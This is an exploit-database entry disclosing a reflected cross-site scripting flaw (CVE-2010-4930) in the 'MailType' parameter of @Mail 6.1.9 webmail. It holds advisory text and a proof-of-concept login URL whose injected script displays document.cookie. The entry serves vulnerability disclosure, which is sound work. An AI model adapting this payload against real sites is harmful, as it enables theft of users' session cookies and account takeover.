Exploit @Mail 6.1.9 - 'MailType' Cross-Site Scripting

[Exploiter]

EDB-ID

34690

Проверка EDB

1. Пройдено

Автор

VICENTE AGUILERA DIAZ

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2010-4930

Дата публикации

2010-09-21

@mail 6.1.9 - 'MailType' Cross-Site Scripting

source: https://www.securityfocus.com/bid/43377/info

@Mail is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary JavaScript code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

@Mail 6.1.9 is vulnerable; prior versions may also be affected.

http://www.example.com/index.php/mail/auth/processlogin?emailName=<emailName>&emailDomain=<emailDomain>&cssStyle=original&email=<email>password=<password>&requestedServer=&MailType=<script>alert(document.cookie);</script>